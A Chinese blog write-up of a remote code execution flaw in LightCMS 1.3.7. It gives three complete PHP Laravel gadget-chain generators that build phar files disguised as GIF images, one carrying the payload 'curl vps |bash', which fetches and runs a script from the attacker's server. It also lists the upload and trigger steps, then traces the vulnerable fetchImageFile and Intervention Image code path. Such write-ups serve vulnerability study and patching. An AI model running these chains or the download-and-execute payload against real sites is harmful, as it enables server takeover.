LightCMS1.3.7-RCE漏洞
LightCMS1.3.7-RCE漏洞
- 环境搭建(Kali)
- 漏洞复现
- 漏洞分析
环境搭建(Kali)
参考之间的文章:LightCMS1.3.5-任意文件读取&RCE漏洞
漏洞复现
找一个 Laravel RCE 的 gadget,生成 phar 文件,exp如下
POP_1<?phpnamespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;public function __construct($events, $event){$this->events = $events;$this->event = $event;}}class BroadcastEvent{protected $connection;public function __construct($connection){$this->connection = $connection;}}}namespace Illuminate\Bus{class Dispatcher{protected $queueResolver;public function __construct($queueResolver){$this->queueResolver = $queueResolver;}}
}namespace{$command = new Illuminate\Broadcasting\BroadcastEvent('whoami');$dispater = new Illuminate\Bus\Dispatcher("system");$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);$phar = new Phar('phar.phar');$phar -> stopBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");$phar -> addFromString('test.txt','test');$phar -> setMetadata($PendingBroadcast);$phar -> stopBuffering();rename('phar.phar','phar.jpg');
}
POP_2<?php
namespace Illuminate\Broadcasting
{use Illuminate\Events\Dispatcher;class PendingBroadcast{protected $events;protected $event;public function __construct($cmd){$this->events = new Dispatcher($cmd);$this->event=$cmd;}}}namespace Illuminate\Events
{class Dispatcher{protected $listeners;public function __construct($event){$this->listeners=[$event=>['system']];}}
}
namespace{$phar = new Phar('phar.phar');$phar -> startBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$o = new Illuminate\Broadcasting\PendingBroadcast($argv[1]);echo base64_encode(serialize($o));$phar -> setMetadata($o);$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
}
POP_3<?phpnamespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;public function __construct($events, $event){$this->events = $events;$this->event = $event;}}class BroadcastEvent{protected $connection;public function __construct($connection){$this->connection = $connection;}}}namespace Illuminate\Bus{class Dispatcher{protected $queueResolver;public function __construct($queueResolver){$this->queueResolver = $queueResolver;}}
}namespace{$command = new Illuminate\Broadcasting\BroadcastEvent('curl vps |bash');$dispater = new Illuminate\Bus\Dispatcher("system");$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);$phar = new Phar('phar.phar');$phar -> stopBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar -> addFromString('test.txt','test');$phar -> setMetadata($PendingBroadcast);$phar -> stopBuffering();rename('phar.phar','phar.jpg');}
来到内容管理 - 新增文章内容,上传文件,就会得到一个这样的图片 url:
http://127.0.0.1:8000/upload/image/202106/qYUkjTWuFUMdMKo2hhp4DptwF23FkZJZ2nM1ixWy.gif
然后来到我们自己的 vps,新建一个 txt,内容为:
phar://./upload/image/202106/qYUkjTWuFUMdMKo2hhp4DptwF23FkZJZ2nM1ixWy.gif
然后 POST 提交到这个路由即可触发 phar 反序列化
漏洞分析
在LightCMS1.3.5的任意文件读取漏洞被提出并且修复后,我们来分析一下作者修复所用的
fetchImageFile
函数
跟进
fetchImageFile
函数,可以看到其使用curl来获取远程资源的内容,然后使用 Image:make 模块进行解析,并且对后缀也进行了严格的过滤,由于该后台是基于laravel框架开发,并且这个cms 后台还是有图片上传功能的,不妨我们尝试利用phar反序列化实现RCE
我们跟进一下
isWebp函数
,由于传入的不是Webp文件,所以会进入Image::make($data);
,而且这个data变量也就是请求返回的内容,在获取到远程url的内容后,会调用Intervention\Image\Facades\Image
的 make方法,对图片内容进行解析
继续跟进到
vendor/intervention/image/src/intervention/Image/AbstractDriver.php
,通过init()
,然后传入decoder->init()
可以看到 data 不仅可以是图片的二进制数据 ,还可以是这些数据格式,跟进
initFromUrl
方法
它继续读取了这个 url 的内容,然后作为 binary 数据处理
跟进
isUrl
,这个方法只是利用 FILTER VAR 判断是否为 url,这意味着前面的 http 协议可以替换成其他协议,比如 phar 协议,将 url 内容改成一个 phar 进行测试,依旧进到了这里并且传给了 file_get_contents(),即可以触发phar 反序列化
了
LightCMS1.3.7-RCE漏洞相关推荐
- wordpress漏洞_聊聊 WordPress 5.1.1 CSRF to RCE 漏洞
作者:LoRexxar'@知道创宇404实验室 时间:2019年3月14日 2019年3月13日, RIPS团队公开了一篇关于WordPress 5.1.1的XSS漏洞详情,标题起的很响亮,叫做wor ...
- cve-2019-10758 mongo-express rce 漏洞分析
下面是对漏洞的描述: mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that use ...
- citrix 路径遍历 rce漏洞(CVE-2019-19781)
漏洞描述 Citrix旗下多款交付控制器和网关存在RCE漏洞,攻击者在无需身份验证的情况下就可执行任意命令.根据其他安全网站的说法,这个RCE漏洞会有一个标记漏洞(其中之一的标记),即本次报道的Cit ...
- 老版本的Spring应用该如何应对这次的RCE漏洞?
昨天,在发布了<Spring官宣承认网传大漏洞,并提供解决方案>之后. 群里(点击加群)就有几个小伙伴问了这样的问题:我们的Spring版本比较老,该怎么办?这是一个好问题,所以DD今天单 ...
- 深入分析H2数据库控制台中无需身份验证的RCE漏洞
简介 最近,JFrog安全研究团队披露了H2数据库控制台中的一个安全漏洞,其编号为CVE-2021-42392.这个安全漏洞与Apache Log4j中臭名昭著的Log4Shell漏洞(JNDI远程类 ...
- WebLogic CVE-2021-2394 RCE 漏洞分析
漏洞简述 2021年3月15日墨云安全V-Lab实验室向Oracle官方报告了Weblogic Server RCE漏洞,2021年7月21日Oracle发布了致谢信息. 这是一个二次反序列化漏洞,是 ...
- 西部数据 MyCloud 网络存储存在 RCE 漏洞
西部数据(Western Digital)的MyCloud系列近日被曝出了RCE 漏洞,由于西部数据公司在2015年停止支持的一条产品线存在漏洞,以及此前未知的零日漏洞,过去一个月里,无数客户的MyB ...
- fastjson jar包_Fastjsonlt;=1.2.47反序列化RCE漏洞(CNVD201922238)
Fastjson <=1.2.47反序列化RCE漏洞(CNVD‐2019‐22238) 一.漏洞描述 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 ...
- Apache Shiro<=1.2.4反序列化RCE漏洞
版本:Apache Shiro<=1.2.4 介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的r ...
- 【警惕】大量未修复WebLogic WSAT组件RCE漏洞的主机被挖矿程序攻击
警惕 从1月1日开始,大量未修复WebLogic WSAT(全称:Web Services Atomic Transactions)组件RCE漏洞的主机被挖矿程序攻击,尤其是1月3日,更是大面积爆发 ...
最新文章
- 软件测试之功能测试详细过程
- IntelliJ 平台 2020 年路线图
- 刷脸秒入仓,阿里云云盾实人认证助力心怡科技迎战双11
- 使用Fiori elements技术开发的ui5应用,方便大家参考
- servlet面试常考 (转载)
- 连接上linux上的ip在哪个文件夹,linux – 当IP别名时,操作系统如何确定哪个IP地址将用作出站TCP / IP连接的源?...
- android编程文献,郭宏志. Android应用开发详解[M]. 2011.
- SpringBoot 手动配置 @Enable 的秘密
- 分析udp数据报_开发需知!!!TCP和UDP的特点和区别
- android学习资料整理-----高级篇
- 推荐9个web前端模板框架
- 2020华为海思的实习生面试记录(雨人)
- 姓名投票c语言未给定候选人,C语言上机
- 酷睿i5 1235u参数 i5 1235u处理器怎么样
- Android 编写WiFi探针,一种WiFi探针路由器的制作方法
- 《网络黑白》一书所抄袭的文章列表
- JAV----------数组操作
- 一个遮罩层怎么遮罩两个图层_premiere遮罩功能在哪儿_怎么在视频中加遮罩图层_遮罩图层制作教程详解...
- 基于SpringBoot的高并发秒杀(限时秒杀)
- POE光纤收发器的三大应用场景